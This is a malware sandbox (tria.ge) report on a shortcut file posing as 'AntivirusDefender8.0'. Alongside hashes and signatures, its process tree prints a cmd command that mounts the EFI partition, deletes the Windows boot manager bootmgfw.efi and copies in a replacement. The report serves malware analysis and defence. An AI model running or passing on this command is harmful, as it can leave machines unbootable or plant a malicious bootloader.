Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

08/07/2024, 11:05

240708-m639fsyaph 4

08/07/2024, 11:00

240708-m359msxhrf 3

08/07/2024, 10:54

240708-mzmm5avgrj 3

08/07/2024, 10:49

240708-mw431axfra 7

08/07/2024, 10:46

240708-mtxwxaxfjc 3

08/07/2024, 10:42

240708-mrn6zsxekb 7

Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    08/07/2024, 10:54

General

  • Target

    AntivirusDefender8.0-main/AntivirusDefender8.0.lnk

  • Size

    1KB

  • MD5

    3da7e181e7e2a7cb91b92cdaf0300c5b

  • SHA1

    8d9691891d52d9ae7acbce140e49653d7225e5cd

  • SHA256

    da6227b4b97a7b3de4abdf570873eedf44192180eb142bfabf91916fefefb41a

  • SHA512

    cca8d154c6764a44914368af05259e35bf60dbc9b09b3842564521ecd99c9023b091113d9adebe7a868f2b96ef3542570bb3b2fca1bff35a15c27b837ad00296

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\AntivirusDefender8.0-main\AntivirusDefender8.0.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2880
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2980
      • C:\Windows\system32\cmd.exe
        cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2676
        • C:\Windows\system32\mountvol.exe
          mountvol x: /s
          4⤵
            PID:2704

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads